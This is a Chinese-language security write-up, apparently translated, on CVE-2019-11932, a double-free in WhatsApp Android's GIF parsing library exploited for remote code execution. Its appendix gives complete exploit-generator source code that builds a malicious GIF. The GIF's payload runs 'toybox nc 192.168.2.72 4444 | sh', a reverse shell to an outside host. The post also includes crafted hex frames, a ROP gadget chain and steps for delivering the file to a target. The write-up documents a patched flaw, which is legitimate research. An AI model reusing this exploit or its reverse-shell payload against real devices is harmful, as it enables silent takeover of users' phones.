看我如何将WhatsApp中的双重释放漏洞变成RCE漏洞

  • A+
所属分类:未分类

看我如何将WhatsApp中的双重释放漏洞变成RCE漏洞

写在前面的话

在这篇文章中,我将跟大家讨论我在WhatsApp Android端应用程序中找到的一个双重释放漏洞(CVE-2019-11932),并且我会将该漏洞转变成一个远程代码执行漏洞。目前,我已经将漏洞信息上报给了Facebook,Facebook也在官方发布的WhatsApp v2.19.244中修复了该漏洞。

因此,我们建议广大用户尽快升级至最新版本的WhatsApp(v2.19.244及以上版本)以保护自己的安全。

演示样例

漏洞利用演示:【Google Drive主链】【备用链

如果Google Drive主链无法访问的话,可以直接使用备用链接。

攻击(漏洞利用)场景复现步骤如下:

1、00:16,攻击者通过任意信道向目标用户发送了一个GIF文件,其中的一个就是通过WhatsApp发送的附件文件。比如说,点击“附件”按钮,选择GIF图片文件,然后点击发送。如果攻击者在目标用户的联系人列表中,那么目标用户的设备就会自动下载GIF,整个过程无需额外的用户交互。

2、00:24,目标用户想要给TA的WhatsApp好友发送一个多媒体文件,那么TA就会点击“附件”并打开设备的图片库,然后选择需要发送的多媒体文件。需要注意的是,目标用户一旦打开了WhatsApp图片库,便会触发该漏洞,而无需进行其他操作。

3、00:30,由于WhatsApp会显示所有多媒体文件的缩略图,此时将会触发双重释放漏洞并执行我们的RCE漏洞利用代码。

libpl_droidsonroids_gif库中的双重释放漏洞

当WhatsApp用户在WhatsApp中打开图片库并选取多媒体文件时,WhatsApp将会调用libpl_droidsonroids_gif.so原生库来对文件进行解析,并生成GIF文件的缩略图。libpl_droidsonroids_gif.so是一个开源代码库,源码可以点击【这里】获取。

一个GIF文件中可以包含多个编码帧,为了存储解码后的帧,WhatasApp图片库将使用名为rasterBits的缓冲区。如果所有帧的大小相同,rasterBits缓冲区则会被重复使用,无需重新分配。 但是如果满足以下三个条件中的一个,则仍会重新分配:

width height > originalWidth originalHeight

width – originalWidth > 0

height – originalHeight > 0

缓冲区重新分配需要使用到free和malloc函数,如果重新分配的帧尺寸为0,则会直接释放。假设有一个三帧的GIF文件,尺寸分别为100、0和0。那么:

1、第一次重新分配后,我们有大小为100的info-> rasterBits缓冲区。

2、第二次重新分配0时,则会释放info-> rasterBits缓冲区。

3、在第三次重新分配0时,再次释放info-> rasterBits缓冲区。

很明显,这就是双重释放漏洞的成因,触发位置在decoding.c中:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;

int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;

const uint_fast32_t newRasterSize =

        gifFilePtr->Image.Width * gifFilePtr->Image.Height;

if (newRasterSize > info->rasterSize || widthOverflow > 0 ||

    heightOverflow > 0) {

    void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize,     <<-- double-free here

                                       sizeof(GifPixelType));

    if (tmpRasterBits == NULL) {

        gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;

        break;

    }

    info->rasterBits = tmpRasterBits;

    info->rasterSize = newRasterSize;

}

在Android中,如果对大小为N的内存进行双重释放,则会导致两个大小为N的内存被分配相同地址。

(lldb) expr int $foo = (int) malloc(112)

(lldb) p/x $foo

(int) $14 = 0xd379b250

(lldb) p (int)free($foo)

(int) $15 = 0

(lldb) p (int)free($foo)

(int) $16 = 0

(lldb) p/x (int)malloc(12)

(int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96)

(int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180)

(int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112)

(int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112)

(int) $21 = 0xd379b250

上述代码段中,$foo被释放了两次,这将导致$20和$21返回相同的地址。

接下来,我们看看gif.h文件中的GifInfo结构体:

struct GifInfo {

    void (*destructor)(GifInfo *, JNIEnv *);  <<-- there's a function pointer here

    GifFileType *gifFilePtr;

    GifWord originalWidth, originalHeight;

    uint_fast16_t sampleSize;

    long long lastFrameRemainder;

    long long nextStartTime;

    uint_fast32_t currentIndex;

    GraphicsControlBlock *controlBlock;

    argb *backupPtr;

    long long startPos;

    unsigned char *rasterBits;

    uint_fast32_t rasterSize;

    char *comment;

    uint_fast16_t loopCount;

    uint_fast16_t currentLoop;

    RewindFunc rewindFunction;   <<-- there's another function pointer here

    jfloat speedFactor;

    uint32_t stride;

    jlong sourceLength;

    bool isOpaque;

    void *frameBufferDescriptor;

};

接下来,尝试构造下面尺寸的GIF文件(三帧):

sizeof(GifInfo),00

打开WhatsApp图片库之后,将触发rasterBits缓冲区上大小为sizeof(GifInfo)的双重释放。有趣的是,WhatsApp图片库中的GIF文件会被解析两次。当GIF文件再次被解析时,将创建一个GifInfo对象。根据Android中的双重释放漏洞特性,GifInfo info对象和info-> rasterBits会指向相同地址。然后,DDGifSlurp()函数将解码第一帧给info-> rasterBits缓冲区,这会覆盖掉info和它的rewindFunction()函数(该函数位于DDGifSlurp()的末尾处)。

控制PC寄存器

我们构造的GIF文件如下:

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC 

FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 

00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 

9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 

00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 

18 00 0A 00 0F 00 01 00 00 3B

它包含以下四个帧:

Frame 1:

2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

F0 CE 57 2B 6F EE FF FF

Frame 2:

2C 00 00 00 00 1C 0F 00 00 00 00

Frame 3:

2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00

Frame 4:

2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00

WhatsApp图片库的多媒体文件解析流程如下:

第一次解析

初始化:

GifInfo *info = malloc(168);

Frame 1:

info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);

Frame 2:

info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);

Frame 3:

info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);

Frame 4:

主要负责让这个GIF文件生效。

第二次解析:

初始化:

GifInfo *info = malloc(168);

Frame 1:

info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);

Frame 2, 3, 4:

省略

End:

info->rewindFunction(info);

由于第一次解析中的双重释放问题,导致info和info-> rasterBits现指向相同位置。在第二次解析中,已按照预期处理第一帧。那么当info->rewindFunction(info)被调用时,我们就可以控制rewindFunction和PC了。需要注意,上面的这些帧过了LZW编码,并且必须使用LZW编码器来处理GIF图片帧。

这张GIF文件将导致应用崩溃:

--------- beginning of crash

10-02 11:09:38.460 17928 18059 F libc    : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)

10-02 11:09:38.467  1027  1027 D QCOM PowerHAL: LAUNCH HINT: OFF

10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone

10-02 11:09:38.495  1127  1127 I /system/bin/tombstoned: received crash request for pid 17928

10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)

10-02 11:09:38.497 18071 18071 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

10-02 11:09:38.497 18071 18071 F DEBUG   : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'

10-02 11:09:38.497 18071 18071 F DEBUG   : Revision: 'rev_10'

10-02 11:09:38.497 18071 18071 F DEBUG   : ABI: 'arm64'

10-02 11:09:38.497 18071 18071 F DEBUG   : pid: 17928, tid: 18059, name: image-loader  >>> com.whatsapp <<<

10-02 11:09:38.497 18071 18071 F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------

10-02 11:09:38.497 18071 18071 F DEBUG   :     x0   0000000000000000  x1   000000000000468b  x2   0000000000000006  x3   0000000000000008

10-02 11:09:38.497 18071 18071 F DEBUG   :     x4   0000000000000000  x5   0000000000000000  x6   0000000000000000  x7   7f7f7f7f7f7f7f7f

10-02 11:09:38.497 18071 18071 F DEBUG   :     x8   0000000000000083  x9   0000000010000000  x10  0000007da3c81cc0  x11  0000000000000001

10-02 11:09:38.497 18071 18071 F DEBUG   :     x12  0000007da3c81be8  x13  ffffffffffffffff  x14  ff00000000000000  x15  ffffffffffffffff

10-02 11:09:38.497 18071 18071 F DEBUG   :     x16  00000055b111efa8  x17  0000007e2bb3452c  x18  0000007d8ba9bad8  x19  0000000000004608

10-02 11:09:38.497 18071 18071 F DEBUG   :     x20  000000000000468b  x21  0000000000000083  x22  0000007da3c81e48  x23  00000055b111f3f0

10-02 11:09:38.497 18071 18071 F DEBUG   :     x24  0000000000000040  x25  0000007d8bbff588  x26  00000055b1120670  x27  000000000000000b

10-02 11:09:38.497 18071 18071 F DEBUG   :     x28  00000055b111f010  x29  0000007da3c81d00  x30  0000007e2bae9760

10-02 11:09:38.497 18071 18071 F DEBUG   :     sp   0000007da3c81cc0  pc   0000007e2bae9788  pstate 0000000060000000

10-02 11:09:38.499 18071 18071 F DEBUG   :

10-02 11:09:38.499 18071 18071 F DEBUG   : backtrace:

10-02 11:09:38.499 18071 18071 F DEBUG   :     #00 pc 000000000001d788  /system/lib64/libc.so (abort+120)

10-02 11:09:38.499 18071 18071 F DEBUG   :     #01 pc 0000000000002fac  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)

10-02 11:09:38.499 18071 18071 F DEBUG   :     #02 pc 00000000000004ec  [vdso:0000007e2e4b0000]

10-02 11:09:38.499 18071 18071 F DEBUG   :     #03 pc deadbeeefffffffc  <unknown>

处理ASLR和W^X

拿到PC控制权之后,我们可以尝试实现RCE攻击。我们的目的是执行下列命令:

system("toybox nc 192.168.2.72 4444 | sh");

此时需要使用到libc.so中的system()函数,并将PC指向该函数,X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,让PC跳转到一个中间件,中间件需要设置X0来指向”toybox nc 192.168.2.72 4444 | sh”并跳转到system()。查看info->rewindFunction(info)的反汇编代码,可以看到X0和X19都指向了info-> rasterBits(或者说info,它们都指向相同的位置),而X8实际指向的是info-> rewindFunction。

看我如何将WhatsApp中的双重释放漏洞变成RCE漏洞

libhwui.so中有一个中间件正好符合我们的条件:

ldr x8, [x19, #0x18]

add x0, x19, #0x20

blr x8

假设上面这个gatget地址为AAAAAAAA,而system()函数的地址为BBBBBBBB。那么在LZW编码之前,构造rasterBits缓冲区(帧1)的内容如下:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................

00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB

00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.16

00000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh

00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................

00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................

00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................

00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................

00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..

漏洞利用整合

大家可以直接下载并编译我提供的代码:【传送门】。

需要注意,system()的地址以及中间件必须使用实际地址进行替换:

  /*

    Gadget g1:

        ldr x8, [x19, #0x18]

        add x0, x19, #0x20

        blr x8

    */

    size_t g1_loc = 0x7cb81f0954;  <<-- replace this

    memcpy(buffer + 128, &g1_loc, 8);

    size_t system_loc = 0x7cb602ce84; <<-- replace this

memcpy(buffer + 24, &system_loc, 8);

运行代码,生成GIF文件:

notroot@osboxes:~/Desktop/gif$ make

.....

.....

.....

notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gif

buffer = 0x7ffc586cd8b0 size = 266

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC

FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00

00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08

9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0

C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40

** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A

34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00

00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00

18 00 0A 00 0F 00 01 00 00 3B

复制上述代码到GIF文件中,然后将其以文档的形式发送给目标用户。需要注意的是,我们不能将其以媒体文件发送,否则WhatsApp会自动将其转换为MP4格式。目标用户收到GIF文件后,除非打开WhatsApp图片库,否则不会出现任何异常情况。

附录

exploit.c代码

#include "gif_lib.h"

#define ONE_BYTE_HEX_STRING_SIZE   3

static inline void

get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {

    int i;

    unsigned int byte_no = 0;

    if (buf_len <= 0) {

        if (hex_len > 0) {

            hex_[0] = '';

        }

        return;

    }

    if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)

        return;

    do {

        for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {

            snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);

            hex_ += ONE_BYTE_HEX_STRING_SIZE;

            hex_len -=ONE_BYTE_HEX_STRING_SIZE;

            buf_len--;

        }

        if (buf_len > 1) {

            snprintf(hex_, hex_len, "n");

            hex_ += 1;

        }

    } while ((buf_len) > 0 && (hex_len > 0));

}

int genLine_0(unsigned char *buffer) {

/*

    00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................

    00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB

    00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.16

    00000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh

    00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................

    00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................

    00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................

    00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................

    00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..

    Over-write AAAAAAAA with address of gadget 1

    Over-write BBBBBBBB with address of system() function

    Gadget 1

    ldr x8, [x19, #0x18]

    add x0, x19, #0x20

    blr x8

*/

    unsigned char hexData[138] = {

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF

    };

    memcpy(buffer, hexData, sizeof(hexData));

    /*

    Gadget g1:

        ldr x8, [x19, #0x18]

        add x0, x19, #0x20

        blr x8

    */

    size_t g1_loc = 0x7cb81f0954;

    memcpy(buffer + 128, &g1_loc, 8);

    size_t system_loc = 0x7cb602ce84;

    memcpy(buffer + 24, &system_loc, 8);

    char *command = "toybox nc 192.168.2.72 4444 | sh";

    memcpy(buffer + 32, command, strlen(command));

    return sizeof(hexData);

};

int main(int argc, char *argv[]) {

    GifFilePrivateType Private = {

            .Buf[0] = 0,

            .BitsPerPixel = 8,

            .ClearCode = 256,

            .EOFCode = 257,

            .RunningCode = 258,

            .RunningBits = 9,

            .MaxCode1 = 512,

            .CrntCode = FIRST_CODE,

            .CrntShiftState = 0,

            .CrntShiftDWord = 0,

            .PixelCount = 112,

            .OutBuf = { 0 },

            .OutBufLen = 0

    };

    int size = 0;

    unsigned char buffer[1000] = { 0 };

    unsigned char line[500] = { 0 };

    int line_size = genLine_0(line);

    EGifCompressLine(&Private, line, line_size);

    unsigned char starting[48] = {

            0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,

            0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08

    };

    unsigned char padding[2] = { 0xFF, 0xFF };

    unsigned char ending[61] = {

            0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,

            0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,

            0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B

    };

    // starting bytes

    memcpy(buffer + size, starting, sizeof(starting));

    size += sizeof(starting);

    // size of encoded line + padding

    int tmp = Private.OutBufLen + sizeof(padding);

    buffer[size++] = tmp;

    // encoded-line bytes

    memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);

    size += Private.OutBufLen;

    // padding bytes of 0xFFs to trigger info->rewind(info);

    memcpy(buffer + size, padding, sizeof(padding));

    size += sizeof(padding);

    // ending bytes

    memcpy(buffer + size, ending, sizeof(ending));

    size += sizeof(ending);

    char hex_dump[5000];

    get_hex(buffer, size, hex_dump, 5000, 16);

    printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);

}

egif_lib.c

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include "gif_lib.h"

static int EGifBufferedOutput(GifFilePrivateType *Private, int c) {

    Private->Buf[0] = 0;

    Private->Buf[++(Private->Buf[0])] = c;

    Private->OutBuf[Private->OutBufLen++] = c;

    return GIF_OK;

}

static int EGifCompressOutput(GifFilePrivateType *Private, const int Code)

{

    int retval = GIF_OK;

    if (Code == FLUSH_OUTPUT) {

        while (Private->CrntShiftState > 0) {

            /* Get Rid of what is left in DWord, and flush it. */

            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)

                retval = GIF_ERROR;

            Private->CrntShiftDWord >>= 8;

            Private->CrntShiftState -= 8;

        }

        Private->CrntShiftState = 0;    /* For next time. */

        if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)

            retval = GIF_ERROR;

    } else {

        Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;

        Private->CrntShiftState += Private->RunningBits;

        while (Private->CrntShiftState >= 8) {

            /* Dump out full bytes: */

            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)

                retval = GIF_ERROR;

            Private->CrntShiftDWord >>= 8;

            Private->CrntShiftState -= 8;

        }

    }

    /* If code cannt fit into RunningBits bits, must raise its size. Note */

    /* however that codes above 4095 are used for special signaling.      */

    if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {

        Private->MaxCode1 = 1 << ++Private->RunningBits;

    }

    return retval;

}

int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen)

{

    int i = 0, CrntCode, NewCode;

    unsigned long NewKey;

    GifPixelType Pixel;

    if (Private->CrntCode == FIRST_CODE)    /* Its first time! */

        CrntCode = Line[i++];

    else

        CrntCode = Private->CrntCode;    /* Get last code in compression. */

    while (i < LineLen) {   /* Decode LineLen items. */

        Pixel = Line[i++];  /* Get next pixel from stream. */

        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {

            return GIF_ERROR;

        }

        CrntCode = Pixel;

        /* If however the HashTable if full, we send a clear first and

         * Clear the hash table.

         */

        if (Private->RunningCode >= LZ_MAX_CODE) {

            /* Time to do some clearance: */

            if (EGifCompressOutput(Private, Private->ClearCode)

                == GIF_ERROR) {

                return GIF_ERROR;

            }

            Private->RunningCode = Private->EOFCode + 1;

            Private->RunningBits = Private->BitsPerPixel + 1;

            Private->MaxCode1 = 1 << Private->RunningBits;

        }

    }

    /* Preserve the current state of the compression algorithm: */

    Private->CrntCode = CrntCode;

    if (Private->PixelCount == 0) {

        /* We are done - output last Code and flush output buffers: */

        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {

            return GIF_ERROR;

        }

        if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {

            return GIF_ERROR;

        }

        if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {

            return GIF_ERROR;

        }

    }

    return GIF_OK;

}

gif.h

/******************************************************************************

gif_lib.h - service library for decoding and encoding GIF images

*****************************************************************************/

#ifndef _GIF_LIB_H_

#define _GIF_LIB_H_ 1

#define GIF_ERROR   0

#define GIF_OK      1

#include <stddef.h>

#include <stdbool.h>

typedef signed char __int8_t;

typedef unsigned char __uint8_t;

typedef short __int16_t;

typedef unsigned short __uint16_t;

typedef int __int32_t;

typedef unsigned int __uint32_t;

#if defined(__LP64__)

typedef long __int64_t;

typedef unsigned long __uint64_t;

#else

typedef long long __int64_t;

typedef unsigned long long __uint64_t;

#endif

#if defined(__LP64__)

typedef long __intptr_t;

typedef unsigned long __uintptr_t;

#else

typedef int __intptr_t;

typedef unsigned int __uintptr_t;

#endif

typedef __int8_t      int8_t;

typedef __uint8_t     uint8_t;

typedef __int16_t     int16_t;

typedef __uint16_t    uint16_t;

typedef __int32_t     int32_t;

typedef __uint32_t    uint32_t;

typedef __int64_t     int64_t;

typedef __uint64_t    uint64_t;

typedef __intptr_t    intptr_t;

typedef __uintptr_t   uintptr_t;

typedef int8_t        int_least8_t;

typedef uint8_t       uint_least8_t;

typedef int16_t       int_least16_t;

typedef uint16_t      uint_least16_t;

typedef int32_t       int_least32_t;

typedef uint32_t      uint_least32_t;

typedef int64_t       int_least64_t;

typedef uint64_t      uint_least64_t;

typedef int8_t        int_fast8_t;

typedef uint8_t       uint_fast8_t;

typedef int64_t       int_fast64_t;

typedef uint64_t      uint_fast64_t;

#if defined(__LP64__)

typedef int64_t       int_fast16_t;

typedef uint64_t      uint_fast16_t;

typedef int64_t       int_fast32_t;

typedef uint64_t      uint_fast32_t;

#else

typedef int32_t       int_fast16_t;

typedef uint32_t      uint_fast16_t;

typedef int32_t       int_fast32_t;

typedef uint32_t      uint_fast32_t;

#endif

#define GIF_STAMP "GIFVER"          /* First chars in file - GIF stamp.  */

#define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1

#define GIF_VERSION_POS 3           /* Version first character in stamp. */

typedef unsigned char GifPixelType;

typedef unsigned char GifByteType;

typedef unsigned int GifPrefixType;

typedef uint_fast16_t GifWord;

typedef struct GifColorType {

    uint8_t Red, Green, Blue;

} GifColorType;

typedef struct ColorMapObject {

    uint_fast16_t ColorCount;

    uint_fast8_t BitsPerPixel;

//    bool SortFlag;

    GifColorType *Colors;    /* on malloc(3) heap */

} ColorMapObject;

typedef struct GifImageDesc {

    GifWord Left, Top, Width, Height;   /* Current image dimensions. */

    bool Interlace;

    /* Sequential/Interlaced lines. */

    ColorMapObject *ColorMap;           /* The local color map */

} GifImageDesc;

//typedef struct ExtensionBlock {

//    int ByteCount;

//    GifByteType *Bytes; /* on malloc(3) heap */

//    int Function;       /* The block function code */

#define CONTINUE_EXT_FUNC_CODE    0x00    /* continuation subblock */

#define COMMENT_EXT_FUNC_CODE     0xfe    /* comment */

#define GRAPHICS_EXT_FUNC_CODE    0xf9    /* graphics control (GIF89) */

#define PLAINTEXT_EXT_FUNC_CODE   0x01    /* plaintext */

#define APPLICATION_EXT_FUNC_CODE 0xff    /* application block */

//} ExtensionBlock;

typedef struct SavedImage {

    GifImageDesc ImageDesc;

//    GifByteType *RasterBits;         /* on malloc(3) heap */

//    int ExtensionBlockCount;         /* Count of extensions before image */

//    ExtensionBlock *ExtensionBlocks; /* Extensions before image */

} SavedImage;

#define EXTENSION_INTRODUCER      0x21

#define DESCRIPTOR_INTRODUCER     0x2c

#define TERMINATOR_INTRODUCER     0x3b

#define LZ_MAX_CODE         4095    /* Biggest code possible in 12 bits. */

#define LZ_BITS             12

#define FLUSH_OUTPUT        4096    /* Impossible code, to signal flush. */

#define FIRST_CODE          4097    /* Impossible code, to signal first. */

#define NO_SUCH_CODE        4098    /* Impossible code, to signal empty. */

//#define FILE_STATE_WRITE    0x01

//#define FILE_STATE_SCREEN   0x02

//#define FILE_STATE_IMAGE    0x04

//#define FILE_STATE_READ     0x08

//#define IS_READABLE(Private)    (Private->FileState & FILE_STATE_READ)

struct GifFileType;

/* func type to read gif data from arbitrary sources (TVT) */

typedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t);

typedef struct GifFilePrivateType {

    GifWord //FileState, /*FileHandle,*/  /* Where all this data goes to! */

            BitsPerPixel,     /* Bits per pixel (Codes uses at least this + 1). */

            ClearCode,   /* The CLEAR LZ code. */

            EOFCode,     /* The EOF LZ code. */

            RunningCode, /* The next code algorithm can generate. */

            RunningBits, /* The number of bits required to represent RunningCode. */

            MaxCode1,    /* 1 bigger than max. possible code, in RunningBits bits. */

            LastCode,    /* The code before the current code. */

            CrntCode,    /* Current algorithm code. */

            StackPtr,    /* For character stack (see below). */

            CrntShiftState;

    /* Number of bits in CrntShiftDWord. */

    unsigned long CrntShiftDWord;

    /* For bytes decomposition into codes. */

    uint_fast32_t PixelCount;

    /* Number of pixels in image. */

//    FILE *File;

    /* File as stream. */

    InputFunc Read;     /* function to read gif input (TVT) */

//    OutputFunc Write;   /* function to write gif output (MRB) */

    GifByteType Buf[256];

    unsigned char OutBuf[500];

    int OutBufLen;

    /* Compressed input is buffered here. */

    GifByteType Stack[LZ_MAX_CODE];

    /* Decoded pixels are stacked here. */

    GifByteType Suffix[LZ_MAX_CODE + 1];

    /* So we can trace the codes. */

    GifPrefixType Prefix[LZ_MAX_CODE + 1];

//    bool gif89;

} GifFilePrivateType;

typedef struct GifFileType {

    GifWord SWidth, SHeight;         /* Size of virtual canvas */

//    GifWord SColorResolution;        /* How many colors can we generate? */

    GifWord SBackGroundColor;        /* Background color for virtual canvas */

//    GifByteType AspectByte;         /* Used to compute pixel aspect ratio */

    ColorMapObject *SColorMap;

    /* Global colormap, NULL if nonexistent. */

    uint_fast32_t ImageCount;

    /* Number of current image (both APIs) */

    GifImageDesc Image;

    /* Current image (low-level API) */

    SavedImage *SavedImages;         /* Image sequence (high-level API) */

//    int ExtensionBlockCount;         /* Count extensions past last image */

//    ExtensionBlock *ExtensionBlocks; /* Extensions past last image */

    int Error;

    /* Last error condition reported */

    void *UserData;

    /* hook to attach user data (TVT) */

    GifFilePrivateType *Private;                   /* Don't mess with this! */

} GifFileType;

